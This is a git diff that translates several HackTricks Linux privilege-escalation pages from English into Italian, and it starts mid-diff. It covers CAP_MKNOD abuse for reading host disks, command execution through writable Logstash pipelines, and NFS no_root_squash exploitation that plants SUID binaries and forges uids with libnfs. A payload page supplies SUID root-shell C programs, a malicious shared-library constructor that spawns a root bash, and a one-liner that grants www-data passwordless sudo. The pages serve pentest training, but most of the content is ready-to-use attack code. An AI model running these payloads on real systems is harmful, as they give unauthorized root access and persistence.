[https://attackdefense.pentesteracademy.com/](https://attackdefense.pentesteracademy.com) +**Esempio con binario 2** +Il seguente esempio è codice **`python2`** che può essere utile per intercettare il traffico dell'interfaccia "**lo**" (**localhost**). Il codice proviene dal laboratorio "_The Basics: CAP-NET_BIND + NET_RAW_" da [https://attackdefense.pentesteracademy.com/](https://attackdefense.pentesteracademy.com) ```python import socket import struct @@ -1509,11 +1348,11 @@ import struct flags=["NS","CWR","ECE","URG","ACK","PSH","RST","SYN","FIN"] def getFlag(flag_value): - flag="" - for i in xrange(8,-1,-1): - if( flag_value & 1 < [!NOTE] -> Note that usually this immutable attribute is set and remove using: +> Nota che di solito questo attributo immutabile viene impostato e rimosso utilizzando: > > ```bash > sudo chattr +i file.txt @@ -1607,47 +1441,46 @@ f.write('New content for the file\n') ## CAP_SYS_CHROOT -[**CAP_SYS_CHROOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) enables the execution of the `chroot(2)` system call, which can potentially allow for the escape from `chroot(2)` environments through known vulnerabilities: +[**CAP_SYS_CHROOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) consente l'esecuzione della chiamata di sistema `chroot(2)`, che può potenzialmente permettere l'uscita dagli ambienti `chroot(2)` attraverso vulnerabilità note: -- [How to break out from various chroot solutions](https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf) -- [chw00t: chroot escape tool](https://github.com/earthquake/chw00t/) +- [Come uscire da varie soluzioni chroot](https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf) +- [chw00t: strumento di escape da chroot](https://github.com/earthquake/chw00t/) ## CAP_SYS_BOOT -[**CAP_SYS_BOOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) not only allows the execution of the `reboot(2)` system call for system restarts, including specific commands like `LINUX_REBOOT_CMD_RESTART2` tailored for certain hardware platforms, but it also enables the use of `kexec_load(2)` and, from Linux 3.17 onwards, `kexec_file_load(2)` for loading new or signed crash kernels respectively. +[**CAP_SYS_BOOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) non solo consente l'esecuzione della chiamata di sistema `reboot(2)` per i riavvii di sistema, inclusi comandi specifici come `LINUX_REBOOT_CMD_RESTART2` adattati per determinate piattaforme hardware, ma consente anche l'uso di `kexec_load(2)` e, a partire da Linux 3.17, `kexec_file_load(2)` per caricare nuovi o firmati kernel di crash rispettivamente. ## CAP_SYSLOG -[**CAP_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) was separated from the broader **CAP_SYS_ADMIN** in Linux 2.6.37, specifically granting the ability to use the `syslog(2)` call. This capability enables the viewing of kernel addresses via `/proc` and similar interfaces when the `kptr_restrict` setting is at 1, which controls the exposure of kernel addresses. Since Linux 2.6.39, the default for `kptr_restrict` is 0, meaning kernel addresses are exposed, though many distributions set this to 1 (hide addresses except from uid 0) or 2 (always hide addresses) for security reasons. +[**CAP_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) è stato separato dal più ampio **CAP_SYS_ADMIN** in Linux 2.6.37, concedendo specificamente la possibilità di utilizzare la chiamata `syslog(2)`. Questa capacità consente di visualizzare gli indirizzi del kernel tramite `/proc` e interfacce simili quando l'impostazione `kptr_restrict` è a 1, che controlla l'esposizione degli indirizzi del kernel. Dalla versione 2.6.39 di Linux, il valore predefinito per `kptr_restrict` è 0, il che significa che gli indirizzi del kernel sono esposti, anche se molte distribuzioni impostano questo valore a 1 (nascondere gli indirizzi tranne che per uid 0) o 2 (nascondere sempre gli indirizzi) per motivi di sicurezza. -Additionally, **CAP_SYSLOG** allows accessing `dmesg` output when `dmesg_restrict` is set to 1. Despite these changes, **CAP_SYS_ADMIN** retains the ability to perform `syslog` operations due to historical precedents. +Inoltre, **CAP_SYSLOG** consente di accedere all'output di `dmesg` quando `dmesg_restrict` è impostato a 1. Nonostante questi cambiamenti, **CAP_SYS_ADMIN** mantiene la capacità di eseguire operazioni `syslog` a causa di precedenti storici. ## CAP_MKNOD -[**CAP_MKNOD**](https://man7.org/linux/man-pages/man7/capabilities.7.html) extends the functionality of the `mknod` system call beyond creating regular files, FIFOs (named pipes), or UNIX domain sockets. It specifically allows for the creation of special files, which include: +[**CAP_MKNOD**](https://man7.org/linux/man-pages/man7/capabilities.7.html) estende la funzionalità della chiamata di sistema `mknod` oltre la creazione di file regolari, FIFO (pipe nominate) o socket di dominio UNIX. Consente specificamente la creazione di file speciali, che includono: -- **S_IFCHR**: Character special files, which are devices like terminals. -- **S_IFBLK**: Block special files, which are devices like disks. +- **S_IFCHR**: File speciali di carattere, che sono dispositivi come terminali. +- **S_IFBLK**: File speciali a blocchi, che sono dispositivi come dischi. -This capability is essential for processes that require the ability to create device files, facilitating direct hardware interaction through character or block devices. +Questa capacità è essenziale per i processi che richiedono la possibilità di creare file di dispositivo, facilitando l'interazione diretta con l'hardware tramite dispositivi a carattere o a blocchi. -It is a default docker capability ([https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19](https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19)). +È una capacità docker predefinita ([https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19](https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19)). -This capability permits to do privilege escalations (through full disk read) on the host, under these conditions: +Questa capacità consente di effettuare escalation di privilegi (attraverso la lettura completa del disco) sull'host, a queste condizioni: -1. Have initial access to the host (Unprivileged). -2. Have initial access to the container (Privileged (EUID 0), and effective `CAP_MKNOD`). -3. Host and container should share the same user namespace. +1. Avere accesso iniziale all'host (Non privilegiato). +2. Avere accesso iniziale al container (Privilegiato (EUID 0), e `CAP_MKNOD` effettivo). +3. Host e container devono condividere lo stesso namespace utente. -**Steps to Create and Access a Block Device in a Container:** +**Passaggi per creare e accedere a un dispositivo a blocchi in un container:** -1. **On the Host as a Standard User:** +1. **Sull'Host come Utente Standard:** - - Determine your current user ID with `id`, e.g., `uid=1000(standarduser)`. - - Identify the target device, for example, `/dev/sdb`. - -2. **Inside the Container as `root`:** +- Determina il tuo ID utente attuale con `id`, ad esempio, `uid=1000(standarduser)`. +- Identifica il dispositivo target, ad esempio, `/dev/sdb`. +2. **Dentro il Container come `root`:** ```bash # Create a block special file for the host device mknod /dev/sdb b 8 16 @@ -1658,9 +1491,7 @@ useradd -u 1000 standarduser # Switch to the newly created user su standarduser ``` - -3. **Back on the Host:** - +3. **Di nuovo sull'Host:** ```bash # Locate the PID of the container process owned by "standarduser" # This is an illustrative example; actual command might vary @@ -1669,28 +1500,27 @@ ps aux | grep -i container_name | grep -i standarduser # Access the container's filesystem and the special block device head /proc/12345/root/dev/sdb ``` - -This approach allows the standard user to access and potentially read data from `/dev/sdb` through the container, exploiting shared user namespaces and permissions set on the device. +Questo approccio consente all'utente standard di accedere e potenzialmente leggere dati da `/dev/sdb` attraverso il contenitore, sfruttando gli spazi dei nomi utente condivisi e i permessi impostati sul dispositivo. ### CAP_SETPCAP -**CAP_SETPCAP** enables a process to **alter the capability sets** of another process, allowing for the addition or removal of capabilities from the effective, inheritable, and permitted sets. However, a process can only modify capabilities that it possesses in its own permitted set, ensuring it cannot elevate another process's privileges beyond its own. Recent kernel updates have tightened these rules, restricting `CAP_SETPCAP` to only diminish the capabilities within its own or its descendants' permitted sets, aiming to mitigate security risks. Usage requires having `CAP_SETPCAP` in the effective set and the target capabilities in the permitted set, utilizing `capset()` for modifications. This summarizes the core function and limitations of `CAP_SETPCAP`, highlighting its role in privilege management and security enhancement. +**CAP_SETPCAP** consente a un processo di **modificare i set di capacità** di un altro processo, permettendo l'aggiunta o la rimozione di capacità dai set effettivi, ereditabili e permessi. Tuttavia, un processo può modificare solo le capacità che possiede nel proprio set permesso, garantendo che non possa elevare i privilegi di un altro processo oltre il proprio. Aggiornamenti recenti del kernel hanno inasprito queste regole, limitando `CAP_SETPCAP` a ridurre solo le capacità all'interno del proprio set permesso o di quello dei suoi discendenti, con l'obiettivo di mitigare i rischi per la sicurezza. L'uso richiede di avere `CAP_SETPCAP` nel set effettivo e le capacità target nel set permesso, utilizzando `capset()` per le modifiche. Questo riassume la funzione principale e le limitazioni di `CAP_SETPCAP`, evidenziando il suo ruolo nella gestione dei privilegi e nel miglioramento della sicurezza. -**`CAP_SETPCAP`** is a Linux capability that allows a process to **modify the capability sets of another process**. It grants the ability to add or remove capabilities from the effective, inheritable, and permitted capability sets of other processes. However, there are certain restrictions on how this capability can be used. +**`CAP_SETPCAP`** è una capacità di Linux che consente a un processo di **modificare i set di capacità di un altro processo**. Concede la possibilità di aggiungere o rimuovere capacità dai set di capacità effettivi, ereditabili e permessi di altri processi. Tuttavia, ci sono alcune restrizioni su come questa capacità può essere utilizzata. -A process with `CAP_SETPCAP` **can only grant or remove capabilities that are in its own permitted capability set**. In other words, a process cannot grant a capability to another process if it does not have that capability itself. This restriction prevents a process from elevating the privileges of another process beyond its own level of privilege. +Un processo con `CAP_SETPCAP` **può solo concedere o rimuovere capacità che sono nel proprio set di capacità permesso**. In altre parole, un processo non può concedere una capacità a un altro processo se non possiede quella capacità. Questa restrizione impedisce a un processo di elevare i privilegi di un altro processo oltre il proprio livello di privilegio. -Moreover, in recent kernel versions, the `CAP_SETPCAP` capability has been **further restricted**. It no longer allows a process to arbitrarily modify the capability sets of other processes. Instead, it **only allows a process to lower the capabilities in its own permitted capability set or the permitted capability set of its descendants**. This change was introduced to reduce potential security risks associated with the capability. +Inoltre, nelle versioni recenti del kernel, la capacità `CAP_SETPCAP` è stata **ulteriormente ristretta**. Non consente più a un processo di modificare arbitrariamente i set di capacità di altri processi. Invece, **consente solo a un processo di ridurre le capacità nel proprio set di capacità permesso o nel set di capacità permesso dei suoi discendenti**. Questa modifica è stata introdotta per ridurre i potenziali rischi per la sicurezza associati alla capacità. -To use `CAP_SETPCAP` effectively, you need to have the capability in your effective capability set and the target capabilities in your permitted capability set. You can then use the `capset()` system call to modify the capability sets of other processes. +Per utilizzare `CAP_SETPCAP` in modo efficace, è necessario avere la capacità nel proprio set di capacità effettivo e le capacità target nel proprio set di capacità permesso. È quindi possibile utilizzare la chiamata di sistema `capset()` per modificare i set di capacità di altri processi. -In summary, `CAP_SETPCAP` allows a process to modify the capability sets of other processes, but it cannot grant capabilities that it doesn't have itself. Additionally, due to security concerns, its functionality has been limited in recent kernel versions to only allow reducing capabilities in its own permitted capability set or the permitted capability sets of its descendants. +In sintesi, `CAP_SETPCAP` consente a un processo di modificare i set di capacità di altri processi, ma non può concedere capacità che non possiede. Inoltre, a causa di preoccupazioni per la sicurezza, la sua funzionalità è stata limitata nelle versioni recenti del kernel per consentire solo la riduzione delle capacità nel proprio set di capacità permesso o nei set di capacità permesso dei suoi discendenti. -## References +## Riferimenti -**Most of these examples were taken from some labs of** [**https://attackdefense.pentesteracademy.com/**](https://attackdefense.pentesteracademy.com), so if you want to practice this privesc techniques I recommend these labs. +**La maggior parte di questi esempi è stata presa da alcuni laboratori di** [**https://attackdefense.pentesteracademy.com/**](https://attackdefense.pentesteracademy.com), quindi se vuoi praticare queste tecniche di privesc ti consiglio questi laboratori. -**Other references**: +**Altri riferimenti**: - [https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux](https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux) - [https://www.schutzwerk.com/en/43/posts/linux_container_capabilities/#:\~:text=Inherited%20capabilities%3A%20A%20process%20can,a%20binary%2C%20e.g.%20using%20setcap%20.](https://www.schutzwerk.com/en/43/posts/linux_container_capabilities/) @@ -1700,10 +1530,4 @@ In summary, `CAP_SETPCAP` allows a process to modify the capability sets of othe - [https://labs.withsecure.com/publications/abusing-the-access-to-mount-namespaces-through-procpidroot](https://labs.withsecure.com/publications/abusing-the-access-to-mount-namespaces-through-procpidroot) ​ - -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/logstash.md b/src/linux-hardening/privilege-escalation/logstash.md index fe091391a..703ac00e1 100644 --- a/src/linux-hardening/privilege-escalation/logstash.md +++ b/src/linux-hardening/privilege-escalation/logstash.md @@ -2,59 +2,55 @@ ## Logstash -Logstash is used to **gather, transform, and dispatch logs** through a system known as **pipelines**. These pipelines are made up of **input**, **filter**, and **output** stages. An interesting aspect arises when Logstash operates on a compromised machine. +Logstash viene utilizzato per **raccogliere, trasformare e inviare log** attraverso un sistema noto come **pipeline**. Queste pipeline sono composte da fasi di **input**, **filter** e **output**. Un aspetto interessante si presenta quando Logstash opera su una macchina compromessa. -### Pipeline Configuration - -Pipelines are configured in the file **/etc/logstash/pipelines.yml**, which lists the locations of the pipeline configurations: +### Configurazione della Pipeline +Le pipeline sono configurate nel file **/etc/logstash/pipelines.yml**, che elenca le posizioni delle configurazioni delle pipeline: ```yaml # Define your pipelines here. Multiple pipelines can be defined. # For details on multiple pipelines, refer to the documentation: # https://www.elastic.co/guide/en/logstash/current/multiple-pipelines.html - pipeline.id: main - path.config: "/etc/logstash/conf.d/*.conf" +path.config: "/etc/logstash/conf.d/*.conf" - pipeline.id: example - path.config: "/usr/share/logstash/pipeline/1*.conf" - pipeline.workers: 6 +path.config: "/usr/share/logstash/pipeline/1*.conf" +pipeline.workers: 6 ``` - -This file reveals where the **.conf** files, containing pipeline configurations, are located. When employing an **Elasticsearch output module**, it's common for **pipelines** to include **Elasticsearch credentials**, which often possess extensive privileges due to Logstash's need to write data to Elasticsearch. Wildcards in configuration paths allow Logstash to execute all matching pipelines in the designated directory. +Questo file rivela dove si trovano i file **.conf**, contenenti configurazioni dei pipeline. Quando si utilizza un **Elasticsearch output module**, è comune che i **pipelines** includano **Elasticsearch credentials**, che spesso possiedono ampi privilegi a causa della necessità di Logstash di scrivere dati su Elasticsearch. I caratteri jolly nei percorsi di configurazione consentono a Logstash di eseguire tutti i pipeline corrispondenti nella directory designata. ### Privilege Escalation via Writable Pipelines -To attempt privilege escalation, first identify the user under which the Logstash service is running, typically the **logstash** user. Ensure you meet **one** of these criteria: +Per tentare l'escalation dei privilegi, prima identifica l'utente sotto il quale il servizio Logstash è in esecuzione, tipicamente l'utente **logstash**. Assicurati di soddisfare **uno** di questi criteri: -- Possess **write access** to a pipeline **.conf** file **or** -- The **/etc/logstash/pipelines.yml** file uses a wildcard, and you can write to the target folder +- Possedere **accesso in scrittura** a un file **.conf** del pipeline **o** +- Il file **/etc/logstash/pipelines.yml** utilizza un carattere jolly e puoi scrivere nella cartella di destinazione -Additionally, **one** of these conditions must be fulfilled: +Inoltre, **una** di queste condizioni deve essere soddisfatta: -- Capability to restart the Logstash service **or** -- The **/etc/logstash/logstash.yml** file has **config.reload.automatic: true** set - -Given a wildcard in the configuration, creating a file that matches this wildcard allows for command execution. For instance: +- Capacità di riavviare il servizio Logstash **o** +- Il file **/etc/logstash/logstash.yml** ha **config.reload.automatic: true** impostato +Data la presenza di un carattere jolly nella configurazione, creare un file che corrisponde a questo carattere jolly consente l'esecuzione di comandi. Ad esempio: ```bash input { - exec { - command => "whoami" - interval => 120 - } +exec { +command => "whoami" +interval => 120 +} } output { - file { - path => "/tmp/output.log" - codec => rubydebug - } +file { +path => "/tmp/output.log" +codec => rubydebug +} } ``` +Qui, **interval** determina la frequenza di esecuzione in secondi. Nell'esempio fornito, il comando **whoami** viene eseguito ogni 120 secondi, con il suo output diretto a **/tmp/output.log**. -Here, **interval** determines the execution frequency in seconds. In the given example, the **whoami** command runs every 120 seconds, with its output directed to **/tmp/output.log**. - -With **config.reload.automatic: true** in **/etc/logstash/logstash.yml**, Logstash will automatically detect and apply new or modified pipeline configurations without needing a restart. If there's no wildcard, modifications can still be made to existing configurations, but caution is advised to avoid disruptions. +Con **config.reload.automatic: true** in **/etc/logstash/logstash.yml**, Logstash rileverà automaticamente e applicherà nuove o modificate configurazioni della pipeline senza necessità di riavvio. Se non c'è un carattere jolly, le modifiche possono comunque essere apportate alle configurazioni esistenti, ma si consiglia cautela per evitare interruzioni. ## References diff --git a/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md b/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md index 679d2a521..7a0745424 100644 --- a/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md +++ b/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md @@ -1,19 +1,18 @@ {{#include ../../banners/hacktricks-training.md}} -Read the _ **/etc/exports** _ file, if you find some directory that is configured as **no_root_squash**, then you can **access** it from **as a client** and **write inside** that directory **as** if you were the local **root** of the machine. +Leggi il _ **/etc/exports** _ file, se trovi qualche directory configurata come **no_root_squash**, allora puoi **accedervi** da **client** e **scrivere dentro** quella directory **come** se fossi il **root** locale della macchina. -**no_root_squash**: This option basically gives authority to the root user on the client to access files on the NFS server as root. And this can lead to serious security implications. +**no_root_squash**: Questa opzione dà fondamentalmente autorità all'utente root sul client di accedere ai file sul server NFS come root. E questo può portare a gravi implicazioni di sicurezza. -**no_all_squash:** This is similar to **no_root_squash** option but applies to **non-root users**. Imagine, you have a shell as nobody user; checked /etc/exports file; no_all_squash option is present; check /etc/passwd file; emulate a non-root user; create a suid file as that user (by mounting using nfs). Execute the suid as nobody user and become different user. +**no_all_squash:** Questa è simile all'opzione **no_root_squash** ma si applica agli **utenti non-root**. Immagina di avere una shell come utente nobody; controlla il file /etc/exports; l'opzione no_all_squash è presente; controlla il file /etc/passwd; emula un utente non-root; crea un file suid come quell'utente (montando usando nfs). Esegui il suid come utente nobody e diventa un utente diverso. # Privilege Escalation ## Remote Exploit -If you have found this vulnerability, you can exploit it: - -- **Mounting that directory** in a client machine, and **as root copying** inside the mounted folder the **/bin/bash** binary and giving it **SUID** rights, and **executing from the victim** machine that bash binary. +Se hai trovato questa vulnerabilità, puoi sfruttarla: +- **Montando quella directory** in una macchina client, e **come root copiando** dentro la cartella montata il **/bin/bash** binario e dandogli diritti **SUID**, ed **eseguendo dalla macchina vittima** quel binario bash. ```bash #Attacker, as root user mkdir /tmp/pe @@ -26,9 +25,7 @@ chmod +s bash cd ./bash -p #ROOT shell ``` - -- **Mounting that directory** in a client machine, and **as root copying** inside the mounted folder our come compiled payload that will abuse the SUID permission, give to it **SUID** rights, and **execute from the victim** machine that binary (you can find here some[ C SUID payloads](payloads-to-execute.md#c)). - +- **Montare quella directory** in una macchina client e **come root copiare** all'interno della cartella montata il nostro payload compilato che sfrutterà il permesso SUID, dargli diritti **SUID** e **eseguire da** quella macchina vittima quel binario (puoi trovare qui alcuni [C SUID payloads](payloads-to-execute.md#c)). ```bash #Attacker, as root user gcc payload.c -o payload @@ -42,61 +39,57 @@ chmod +s payload cd ./payload #ROOT shell ``` - ## Local Exploit > [!NOTE] -> Note that if you can create a **tunnel from your machine to the victim machine you can still use the Remote version to exploit this privilege escalation tunnelling the required ports**.\ -> The following trick is in case the file `/etc/exports` **indicates an IP**. In this case you **won't be able to use** in any case the **remote exploit** and you will need to **abuse this trick**.\ -> Another required requirement for the exploit to work is that **the export inside `/etc/export`** **must be using the `insecure` flag**.\ -> --_I'm not sure that if `/etc/export` is indicating an IP address this trick will work_-- +> Nota che se puoi creare un **tunnel dalla tua macchina alla macchina della vittima, puoi comunque utilizzare la versione Remota per sfruttare questa escalation di privilegi tunnelando le porte richieste**.\ +> Il seguente trucco è nel caso in cui il file `/etc/exports` **indichi un IP**. In questo caso **non sarai in grado di utilizzare** in nessun caso il **remote exploit** e dovrai **sfruttare questo trucco**.\ +> Un altro requisito necessario affinché l'exploit funzioni è che **l'export all'interno di `/etc/export`** **deve utilizzare il flag `insecure`**.\ +> --_Non sono sicuro che se `/etc/export` indica un indirizzo IP questo trucco funzionerà_-- ## Basic Information -The scenario involves exploiting a mounted NFS share on a local machine, leveraging a flaw in the NFSv3 specification which allows the client to specify its uid/gid, potentially enabling unauthorized access. The exploitation involves using [libnfs](https://github.com/sahlberg/libnfs), a library that allows for the forging of NFS RPC calls. +Lo scenario prevede di sfruttare una condivisione NFS montata su una macchina locale, sfruttando un difetto nella specifica NFSv3 che consente al client di specificare il proprio uid/gid, potenzialmente abilitando l'accesso non autorizzato. Lo sfruttamento prevede l'uso di [libnfs](https://github.com/sahlberg/libnfs), una libreria che consente la falsificazione delle chiamate RPC NFS. ### Compiling the Library -The library compilation steps might require adjustments based on the kernel version. In this specific case, the fallocate syscalls were commented out. The compilation process involves the following commands: - +I passaggi per la compilazione della libreria potrebbero richiedere aggiustamenti in base alla versione del kernel. In questo caso specifico, le syscalls fallocate sono state commentate. Il processo di compilazione prevede i seguenti comandi: ```bash ./bootstrap ./configure make gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/ ``` +### Esecuzione dell'Exploit -### Conducting the Exploit +L'exploit prevede la creazione di un semplice programma C (`pwn.c`) che eleva i privilegi a root e poi esegue una shell. Il programma viene compilato e il binario risultante (`a.out`) viene posizionato sulla condivisione con suid root, utilizzando `ld_nfs.so` per falsificare l'uid nelle chiamate RPC: -The exploit involves creating a simple C program (`pwn.c`) that elevates privileges to root and then executing a shell. The program is compiled, and the resulting binary (`a.out`) is placed on the share with suid root, using `ld_nfs.so` to fake the uid in the RPC calls: +1. **Compila il codice dell'exploit:** -1. **Compile the exploit code:** +```bash +cat pwn.c +int main(void){setreuid(0,0); system("/bin/bash"); return 0;} +gcc pwn.c -o a.out +``` - ```bash - cat pwn.c - int main(void){setreuid(0,0); system("/bin/bash"); return 0;} - gcc pwn.c -o a.out - ``` +2. **Posiziona l'exploit sulla condivisione e modifica i suoi permessi falsificando l'uid:** -2. **Place the exploit on the share and modify its permissions by faking the uid:** +```bash +LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/ +LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out +LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out +LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out +``` - ```bash - LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/ - LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out - LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out - LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out - ``` +3. **Esegui l'exploit per ottenere privilegi di root:** +```bash +/mnt/share/a.out +#root +``` -3. **Execute the exploit to gain root privileges:** - ```bash - /mnt/share/a.out - #root - ``` - -## Bonus: NFShell for Stealthy File Access - -Once root access is obtained, to interact with the NFS share without changing ownership (to avoid leaving traces), a Python script (nfsh.py) is used. This script adjusts the uid to match that of the file being accessed, allowing for interaction with files on the share without permission issues: +## Bonus: NFShell per Accesso ai File in Modo Stealth +Una volta ottenuto l'accesso root, per interagire con la condivisione NFS senza cambiare la proprietà (per evitare di lasciare tracce), viene utilizzato uno script Python (nfsh.py). Questo script regola l'uid per corrispondere a quello del file a cui si accede, consentendo l'interazione con i file sulla condivisione senza problemi di permesso: ```python #!/usr/bin/env python # script from https://www.errno.fr/nfs_privesc.html @@ -104,23 +97,20 @@ import sys import os def get_file_uid(filepath): - try: - uid = os.stat(filepath).st_uid - except OSError as e: - return get_file_uid(os.path.dirname(filepath)) - return uid +try: +uid = os.stat(filepath).st_uid +except OSError as e: +return get_file_uid(os.path.dirname(filepath)) +return uid filepath = sys.argv[-1] uid = get_file_uid(filepath) os.setreuid(uid, uid) os.system(' '.join(sys.argv[1:])) ``` - -Run like: - +Esegui come: ```bash # ll ./mount/ drwxr-x--- 6 1008 1009 1024 Apr 5 2017 9.3_old ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/payloads-to-execute.md b/src/linux-hardening/privilege-escalation/payloads-to-execute.md index 37626a2de..fbd094185 100644 --- a/src/linux-hardening/privilege-escalation/payloads-to-execute.md +++ b/src/linux-hardening/privilege-escalation/payloads-to-execute.md @@ -1,22 +1,19 @@ -# Payloads to execute +# Payloads da eseguire {{#include ../../banners/hacktricks-training.md}} ## Bash - ```bash cp /bin/bash /tmp/b && chmod +s /tmp/b /bin/b -p #Maintains root privileges from suid, working in debian & buntu ``` - ## C - ```c //gcc payload.c -o payload int main(void){ - setresuid(0, 0, 0); //Set as user suid user - system("/bin/sh"); - return 0; +setresuid(0, 0, 0); //Set as user suid user +system("/bin/sh"); +return 0; } ``` @@ -27,9 +24,9 @@ int main(void){ #include int main(){ - setuid(getuid()); - system("/bin/bash"); - return 0; +setuid(getuid()); +system("/bin/bash"); +return 0; } ``` @@ -40,42 +37,38 @@ int main(){ #include int main(void) { - char *const paramList[10] = {"/bin/bash", "-p", NULL}; - const int id = 1000; - setresuid(id, id, id); - execve(paramList[0], paramList, NULL); - return 0; +char *const paramList[10] = {"/bin/bash", "-p", NULL}; +const int id = 1000; +setresuid(id, id, id); +execve(paramList[0], paramList, NULL); +return 0; } ``` +## Sovrascrivere un file per escalare i privilegi -## Overwriting a file to escalate privileges +### File comuni -### Common files +- Aggiungi utente con password a _/etc/passwd_ +- Cambia password all'interno di _/etc/shadow_ +- Aggiungi utente a sudoers in _/etc/sudoers_ +- Abusa di docker attraverso il socket docker, di solito in _/run/docker.sock_ o _/var/run/docker.sock_ -- Add user with password to _/etc/passwd_ -- Change password inside _/etc/shadow_ -- Add user to sudoers in _/etc/sudoers_ -- Abuse docker through the docker socket, usually in _/run/docker.sock_ or _/var/run/docker.sock_ - -### Overwriting a library - -Check a library used by some binary, in this case `/bin/su`: +### Sovrascrivere una libreria +Controlla una libreria utilizzata da un binario, in questo caso `/bin/su`: ```bash ldd /bin/su - linux-vdso.so.1 (0x00007ffef06e9000) - libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fe473676000) - libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007fe473472000) - libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007fe473249000) - libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe472e58000) - libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000) - libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000) - /lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000) +linux-vdso.so.1 (0x00007ffef06e9000) +libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fe473676000) +libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007fe473472000) +libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007fe473249000) +libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe472e58000) +libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000) +libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000) +/lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000) ``` - -In this case lets try to impersonate `/lib/x86_64-linux-gnu/libaudit.so.1`.\ -So, check for functions of this library used by the **`su`** binary: - +In questo caso proviamo a impersonare `/lib/x86_64-linux-gnu/libaudit.so.1`.\ +Quindi, controlla le funzioni di questa libreria utilizzate dal **`su`** binario: ```bash objdump -T /bin/su | grep audit 0000000000000000 DF *UND* 0000000000000000 audit_open @@ -83,9 +76,7 @@ objdump -T /bin/su | grep audit 0000000000000000 DF *UND* 0000000000000000 audit_log_acct_message 000000000020e968 g DO .bss 0000000000000004 Base audit_fd ``` - -The symbols `audit_open`, `audit_log_acct_message`, `audit_log_acct_message` and `audit_fd` are probably from the libaudit.so.1 library. As the libaudit.so.1 will be overwritten by the malicious shared library, these symbols should be present in the new shared library, otherwise the program will not be able to find the symbol and will exit. - +I simboli `audit_open`, `audit_log_acct_message`, `audit_log_acct_message` e `audit_fd` provengono probabilmente dalla libreria libaudit.so.1. Poiché la libaudit.so.1 sarà sovrascritta dalla libreria condivisa malevola, questi simboli dovrebbero essere presenti nella nuova libreria condivisa, altrimenti il programma non sarà in grado di trovare il simbolo e terminerà. ```c #include #include @@ -102,34 +93,27 @@ void inject()__attribute__((constructor)); void inject() { - setuid(0); - setgid(0); - system("/bin/bash"); +setuid(0); +setgid(0); +system("/bin/bash"); } ``` +Ora, semplicemente chiamando **`/bin/su`** otterrai una shell come root. -Now, just calling **`/bin/su`** you will obtain a shell as root. +## Script -## Scripts - -Can you make root execute something? - -### **www-data to sudoers** +Puoi far eseguire qualcosa a root? +### **www-data in sudoers** ```bash echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update ``` - -### **Change root 